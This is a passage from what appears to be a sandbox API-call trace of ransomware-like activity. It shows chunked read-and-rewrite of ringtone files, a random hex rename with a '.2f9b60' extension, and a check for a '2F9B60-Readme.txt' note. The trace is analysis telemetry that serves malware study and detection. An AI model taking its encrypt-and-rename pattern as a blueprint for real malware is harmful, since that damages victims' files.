0x250c17af [0160.634] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x7dfd0ca0 [0160.634] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x25e82ee [0160.634] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x73144a04 [0160.634] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x43ea001 [0160.634] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x3c34fc02 [0160.634] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x3f8ee9d5 [0160.634] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x1e35dfaf [0160.634] RtlRandomEx (in: Seed=0x328af770 | out: Seed=0x328af770) returned 0x4ef0a68a [0160.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1130 [0160.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe600 [0160.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1160 [0160.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe600) returned 1 [0160.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1100) returned 1 [0160.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0e60) returned 1 [0160.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2031cd00 [0160.641] SetFilePointerEx (in: hFile=0x2858, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.642] ReadFile (in: hFile=0x2858, lpBuffer=0x2031cd00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x328af7e0, lpOverlapped=0x0 | out: lpBuffer=0x2031cd00*, lpNumberOfBytesRead=0x328af7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.176] SetFilePointerEx (in: hFile=0x2858, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0161.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0161.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3b90 [0161.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3b90) returned 1 [0161.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20171d40 [0161.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3b90 [0161.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3bc0 [0161.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3bc0) returned 1 [0161.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0161.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0161.178] WriteFile (hFile=0x2858, lpBuffer=0x20171d40, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x328af7e0, lpOverlapped=0x0) [0198.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20171d40) returned 1 [0198.336] SetFilePointerEx (in: hFile=0x2858, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.336] ReadFile (in: hFile=0x2858, lpBuffer=0x2031cd00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x328af7e0, lpOverlapped=0x0 | out: lpBuffer=0x2031cd00*, lpNumberOfBytesRead=0x328af7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0199.014] SetFilePointerEx (in: hFile=0x2858, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0199.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0199.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313be90 [0199.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313be90) returned 1 [0199.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4236e130 [0199.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313be90 [0199.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bec0 [0199.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bec0) returned 1 [0199.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0199.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0199.018] WriteFile (in: hFile=0x2858, lpBuffer=0x4236e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x328af7e0, lpOverlapped=0x0 | out: lpBuffer=0x4236e130*, lpNumberOfBytesWritten=0x328af7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4236e130) returned 1 [0214.032] SetFilePointerEx (in: hFile=0x2858, liDistanceToMove=0x134f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.032] ReadFile (in: hFile=0x2858, lpBuffer=0x2031cd00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x328af7e0, lpOverlapped=0x0 | out: lpBuffer=0x2031cd00*, lpNumberOfBytesRead=0x328af7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.033] SetFilePointerEx (in: hFile=0x2858, liDistanceToMove=0x134f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0214.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0214.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267620 [0214.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267620) returned 1 [0214.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4236e130 [0214.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267620 [0214.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202675f0 [0214.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202675f0) returned 1 [0214.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0214.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0214.037] WriteFile (in: hFile=0x2858, lpBuffer=0x4236e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x328af7e0, lpOverlapped=0x0 | out: lpBuffer=0x4236e130*, lpNumberOfBytesWritten=0x328af7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4236e130) returned 1 [0214.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced9160 [0214.057] SetFilePointerEx (in: hFile=0x2858, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.058] WriteFile (in: hFile=0x2858, lpBuffer=0x431f5e80*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x328af890, lpOverlapped=0x0 | out: lpBuffer=0x431f5e80*, lpNumberOfBytesWritten=0x328af890*=0x150, lpOverlapped=0x0) returned 1 [0217.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0217.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f10 [0217.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202665a0 [0217.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202665a0) returned 1 [0217.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202665a0 [0217.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266570 [0217.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266510 [0217.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266510) returned 1 [0217.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f10) returned 1 [0217.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0217.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1b82c030 [0217.549] sprintf (in: _Dest=0x1b82c030, _Format="%c%c" | out: _Dest="8e") returned 2 [0217.549] sprintf (in: _Dest=0x1b82c032, _Format="%c%c" | out: _Dest="d7") returned 2 [0217.549] sprintf (in: _Dest=0x1b82c034, _Format="%c%c" | out: _Dest="7e") returned 2 [0217.549] sprintf (in: _Dest=0x1b82c036, _Format="%c%c" | out: _Dest="bf") returned 2 [0217.549] sprintf (in: _Dest=0x1b82c038, _Format="%c%c" | out: _Dest="7c") returned 2 [0217.549] sprintf (in: _Dest=0x1b82c03a, _Format="%c%c" | out: _Dest="10") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c03c, _Format="%c%c" | out: _Dest="c9") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c03e, _Format="%c%c" | out: _Dest="14") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c040, _Format="%c%c" | out: _Dest="0a") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c042, _Format="%c%c" | out: _Dest="12") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c044, _Format="%c%c" | out: _Dest="33") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c046, _Format="%c%c" | out: _Dest="a0") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c048, _Format="%c%c" | out: _Dest="68") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c04a, _Format="%c%c" | out: _Dest="ae") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c04c, _Format="%c%c" | out: _Dest="ab") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c04e, _Format="%c%c" | out: _Dest="e8") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c050, _Format="%c%c" | out: _Dest="3c") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c052, _Format="%c%c" | out: _Dest="35") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c054, _Format="%c%c" | out: _Dest="8b") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c056, _Format="%c%c" | out: _Dest="d8") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c058, _Format="%c%c" | out: _Dest="dc") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c05a, _Format="%c%c" | out: _Dest="8b") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c05c, _Format="%c%c" | out: _Dest="0d") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c05e, _Format="%c%c" | out: _Dest="7c") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c060, _Format="%c%c" | out: _Dest="ae") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c062, _Format="%c%c" | out: _Dest="9a") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c064, _Format="%c%c" | out: _Dest="0f") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c066, _Format="%c%c" | out: _Dest="de") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c068, _Format="%c%c" | out: _Dest="3d") returned 2 [0217.550] sprintf (in: _Dest=0x1b82c06a, _Format="%c%c" | out: _Dest="8c") returned 2 [0217.551] RtlInitAnsiString (in: DestinationString=0x328af908, SourceString="8ed77ebf7c10c9140a1233a068aeabe83c358bd8dc8b0d7cae9a0fde3d8c" | out: DestinationString="8ed77ebf7c10c9140a1233a068aeabe83c358bd8dc8b0d7cae9a0fde3d8c") [0217.551] RtlAnsiStringToUnicodeString (in: DestinationString=0x328af8d8, SourceString="8ed77ebf7c10c9140a1233a068aeabe83c358bd8dc8b0d7cae9a0fde3d8c", AllocateDestinationString=1 | out: DestinationString="8ed77ebf7c10c9140a1233a068aeabe83c358bd8dc8b0d7cae9a0fde3d8c") returned 0x0 [0217.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x431a2100 [0217.551] wcscat (in: _Dest=0x1cf4d650, _Source="8ed77ebf7c10c91" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\8ed77ebf7c10c91") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\8ed77ebf7c10c91" [0217.551] wcscat (in: _Dest=0x1cf4d650, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\8ed77ebf7c10c91.2f9b60") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\8ed77ebf7c10c91.2f9b60" [0217.551] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\8ed77ebf7c10c91.2f9b60", NtPathName=0x328af8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\8ed77ebf7c10c91.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce18080 [0219.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18080) returned 1 [0219.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42cc9670) returned 1 [0219.811] NtQueryInformationFile (in: FileHandle=0x2858, IoStatusBlock=0x328af918, FileInformation=0x328af928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x328af918, FileInformation=0x328af928) returned 0x0 [0219.811] NtSetInformationFile (FileHandle=0x2858, IoStatusBlock=0x328af918, FileInformation=0x328af928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0222.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d650) returned 1 [0222.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a2100) returned 1 [0222.743] FlushFileBuffers (hFile=0x2858) returned 1 [0222.746] CloseHandle (hObject=0x2858) returned 1 [0223.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202a5df0 [0223.247] wcscpy (in: _Dest=0x202a5df0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0223.247] wcscat (in: _Dest=0x202a5df0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\2F9B60-Readme.txt" [0223.248] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\2f9b60-readme.txt")) returned 0x2020 [0226.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5df0) returned 1 [0226.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060430) returned 1 Thread: id = 2697 os_tid = 0x2290 [0157.728] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 08.wma")) returned 0x20 [0159.610] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma", dwFileAttributes=0x20) returned 1 [0159.625] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 08.wma"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2834 [0159.639] GetFileSizeEx (in: hFile=0x2834, lpFileSize=0x3d03fc60 | out: lpFileSize=0x3d03fc60*=139197) returned 1 [0159.639] SetFilePointerEx (in: hFile=0x2834, liDistanceToMove=0x21fb9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.640] ReadFile (in: hFile=0x2834, lpBuffer=0x3d03fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d03fc28, lpOverlapped=0x0 | out: lpBuffer=0x3d03fbe0*, lpNumberOfBytesRead=0x3d03fc28*=0x4, lpOverlapped=0x0) returned 1 [0160.642] SetFilePointerEx (in: hFile=0x2834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0e60 [0160.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1100 [0160.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1190 [0160.642] NtQuerySystemTime (in: CurrentTime=0x3d03fb20 | out: CurrentTime=0x3d03fb20*=132462177657730000) returned 0x0 [0160.642] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x36ea67b3 [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x5cbf065b [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x42d9a4cc [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x12aea791 [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x76dddac2 [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x6d36fad [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x736bb0ae [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x274aadc9 [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x5f42854a [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x72cfac83 [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x7232fc63 [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x56bd91cc [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x6892cb6b [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x390c9155 [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x1e0bf55f [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x7f3799ac [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x474b14eb [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x11801abd [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x736bb0ae [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x7b55557a [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x7f91d67a [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x42b9bdd8 [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x6ea19435 [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x24669e0f [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x750904b9 [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x2131def2 [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x144ba158 [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x48426bc [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x2ce5f0d4 [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x2eb5468b [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x45f685b5 [0160.643] RtlRandomEx (in: Seed=0x3d03fb10 | out: Seed=0x3d03fb10) returned 0x250c17af [0160.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a11c0 [0160.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe600 [0160.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a11f0 [0160.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe600) returned 1 [0160.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1190) returned 1 [0160.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0e60) returned 1 [0160.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f53cc0 [0160.652] SetFilePointerEx (in: hFile=0x2834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.652] ReadFile (in: hFile=0x2834, lpBuffer=0x41f53cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d03fb80, lpOverlapped=0x0 | out: lpBuffer=0x41f53cc0*, lpNumberOfBytesRead=0x3d03fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0161.182] SetFilePointerEx (in: hFile=0x2834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0161.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0161.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3bf0 [0161.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3bf0) returned 1 [0161.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20468750 [0161.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3bf0 [0161.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3c20 [0161.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3c20) returned 1 [0161.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0161.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0161.184] WriteFile (hFile=0x2834, lpBuffer=0x20468750, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d03fb80, lpOverlapped=0x0) [0198.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20468750) returned 1 [0198.341] SetFilePointerEx (in: hFile=0x2834, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.341] ReadFile (in: hFile=0x2834, lpBuffer=0x41f53cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d03fb80, lpOverlapped=0x0 | out: lpBuffer=0x41f53cc0*, lpNumberOfBytesRead=0x3d03fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0199.018] SetFilePointerEx (in: hFile=0x2834, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0199.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0199.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bec0 [0199.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bec0) returned 1 [0199.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42362d00 [0199.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bec0 [0199.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bef0 [0199.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bef0) returned 1 [0199.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0199.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0199.022] WriteFile (in: hFile=0x2834, lpBuffer=0x42362d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d03fb80, lpOverlapped=0x0 | out: lpBuffer=0x42362d00*, lpNumberOfBytesWritten=0x3d03fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0214.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42362d00) returned 1 [0214.189] SetFilePointerEx (in: hFile=0x2834, liDistanceToMove=0x1e3bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.189] ReadFile (in: hFile=0x2834, lpBuffer=0x41f53cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d03fb80, lpOverlapped=0x0 | out: lpBuffer=0x41f53cc0*, lpNumberOfBytesRead=0x3d03fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0214.190] SetFilePointerEx (in: hFile=0x2834, liDistanceToMove=0x1e3bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0214.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0214.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a39e0 [0214.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a39e0) returned 1 [0214.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42362d00 [0214.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a39e0 [0214.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1d90 [0214.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1d90) returned 1 [0214.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0214.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0214.194] WriteFile (in: hFile=0x2834, lpBuffer=0x42362d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d03fb80, lpOverlapped=0x0 | out: lpBuffer=0x42362d00*, lpNumberOfBytesWritten=0x3d03fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0228.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42362d00) 